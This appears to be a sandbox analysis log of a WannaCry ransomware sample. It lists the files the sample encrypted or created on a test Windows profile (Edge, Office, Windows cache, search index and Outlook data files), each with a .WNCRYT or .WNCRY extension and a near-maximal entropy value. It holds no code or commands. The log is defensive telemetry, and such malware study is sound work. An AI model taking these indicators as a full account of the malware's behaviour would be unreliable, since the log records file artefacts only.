Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRYT entropy: 7.99984585845	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRYT entropy: 7.99996397914	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRYT entropy: 7.99950765031	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRYT entropy: 7.99990418986	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRYT entropy: 7.99388027995	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRYT entropy: 7.99987275815	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRYT entropy: 7.99994618303	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRYT entropy: 7.99976009055	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRYT entropy: 7.99956665427	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRYT entropy: 7.99962678338	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRYT entropy: 7.99947497095	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRYT entropy: 7.99959934714	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRYT entropy: 7.99986337067	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT entropy: 7.99296596287	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT entropy: 7.99307418223	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT entropy: 7.9923050146	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRYT entropy: 7.99274076183	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.WNCRYT entropy: 7.99042253799	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT entropy: 7.99959135047	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000015.db.WNCRYT entropy: 7.99847969771	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRYT entropy: 7.99842769341	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRYT entropy: 7.99754370481	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT entropy: 7.99979079866	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT entropy: 7.99994795114	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT entropy: 7.99991740428	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT entropy: 7.9998173688	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT entropy: 7.99634112935	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT entropy: 7.99983996973	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT entropy: 7.99982398938	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT entropy: 7.99982493577	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT entropy: 7.99983253865	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT entropy: 7.99996595789	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT entropy: 7.99390075091	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRYT entropy: 7.99957246403	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRYT entropy: 7.99953815761	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRYT entropy: 7.99899626123	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_BxKM4IRLudkIao5qoVhSFA2[1].js.WNCRYT entropy: 7.99486309129	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.WNCRYT entropy: 7.99488676091	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT entropy: 7.99982678579	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRYT entropy: 7.99936109236	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst entropy: 7.99923285382	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\microsoft-365-logo-01d5ecd01a[1].png.WNCRYT entropy: 7.9922177956	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7[1].js.WNCRYT entropy: 7.99521947637	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7[1].js.WNCRYT entropy: 7.9903807642	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-bootstrap-5e7af218e953d095fabf[1].js.WNCRYT entropy: 7.99763430975	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-mru.2ce72562ad7c0ae7059c.chunk.v7[1].js.WNCRYT entropy: 7.99624977378	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\pwa-vendor-bundle-ba2888a24179bf152f3d[1].js.WNCRYT entropy: 7.99973382747	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\otel-logger-104bffe9378b8041455c[1].js.WNCRYT entropy: 7.99792319314	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-bundle-3a99f64809c6780df035[1].js.WNCRYT entropy: 7.99986403796	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js.WNCRYT entropy: 7.99575075235	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRYT entropy: 7.99615316369	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\staticpwascripts-30998bff8f[1].js.WNCRYT entropy: 7.99033781663	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99987830596	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.9998740337	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1Sd5265G8OlnRColAI8O_SxSQ1Q.br[1].js.WNCRYT entropy: 7.9987094026	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1_gc11zDuaJOyBP7gyptBGdPRf4.br[1].js.WNCRYT entropy: 7.99697630682	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js.WNCRYT entropy: 7.99579321527	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRYT entropy: 7.9928989519	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6qhc82nhlRe74lC1CBjrzThsaXw.br[1].js.WNCRYT entropy: 7.99512173514	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRYT entropy: 7.99799090422	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRYT entropy: 7.99873410208	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99485470804	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{494b20de-5fb0-48cf-ace0-4a90f11d53e1}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99495276282	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{d82cf085-269f-405d-97fb-0fd4f9708b6f}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99490859453	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRYT entropy: 7.99988432536	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRYT entropy: 7.99946177844	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRYT entropy: 7.99931924001	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRYT entropy: 7.99973695738	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRYT entropy: 7.9962748574	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRYT entropy: 7.99784120017	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99903398033	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99916407002	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRY (copy) entropy: 7.99936109236	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRY (copy) entropy: 7.99799090422	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRY (copy) entropy: 7.99873410208	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99485470804	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{494b20de-5fb0-48cf-ace0-4a90f11d53e1}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99495276282	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{d82cf085-269f-405d-97fb-0fd4f9708b6f}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99490859453	Jump to dropped file
